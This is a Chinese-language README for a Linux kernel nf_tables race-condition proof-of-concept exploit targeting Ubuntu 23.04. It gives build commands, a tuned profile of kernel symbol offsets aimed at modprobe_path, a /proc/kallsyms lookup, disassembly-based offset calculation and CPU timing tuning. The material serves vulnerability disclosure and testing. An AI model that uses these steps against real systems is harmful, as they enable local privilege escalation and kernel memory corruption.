以下说明已在 Ubuntu 23.04 (Lunar Lobster) 上测试通过。

运行以下命令安装构建依赖:
sudo apt install gcc libmnl-dev libnftnl-dev
运行以下命令构建 PoC 二进制文件:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
内置配置文件包含特定于以二进制形式分发的 Linux 内核的参数,这些内核来自 Ubuntu 23.04 (Lunar Lobster) 的以下软件包:
内置配置文件如下所示:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
可选步骤,用于在其他 Linux 内核上测试时覆盖内置配置文件:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
为了找到内核基址,我们检查内核内存中的 nf_tables.ko 镜像。具体来说,我们分析 nft_counter_destroy() 子例程的机器码。这意味着我们的方法对编译器以及编译选项敏感。然而,所有常见情况都可以通过覆盖内置配置文件来处理。
例如,nft_counter_destroy() 子例程的机器码可能如下所示:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
在上述情况下,我们可以通过在配置文件 "profile" 末尾追加以下三行来指定几个参数。
首先,我们重新定义 free_percpu 偏移前一个双字的偏移量:
5 nft_counter_destroy_call_offset # hex
其中值 5 通过表达式 (1e31d - 1e310) - 8 计算得出。
作为完整性检查,我们随后使用以下掩码验证上述偏移位置的双字:
ffffffff nft_counter_destroy_call_mask # hex
预期得到以下值:
e9087e8b nft_counter_destroy_call_check # hex
利用该漏洞需要与 Linux 内核的后台工作线程进行竞争。内置配置文件已针对在多种 Intel 微处理器(包括移动版 Sandy Bridge 和桌面版 Comet Lake)上最大化竞争获胜几率进行了调优。然而,某些微处理器需要额外调优。例如,我们观察到在某些配置下的 Alder Lake 系统中,任务切换延迟增加,此时可能需要在 "profile" 末尾追加以下行:
400 race_lead_sleep
在我们的测试中(使用空闲的裸金属系统),我们测量到成功利用该漏洞的概率为 80% 或更高。
一旦 PoC 在易受攻击的系统上启动,它可能会使该系统处于内核内存损坏的不稳定状态。我们强烈建议在专用系统上测试 PoC,以避免潜在的数据损坏。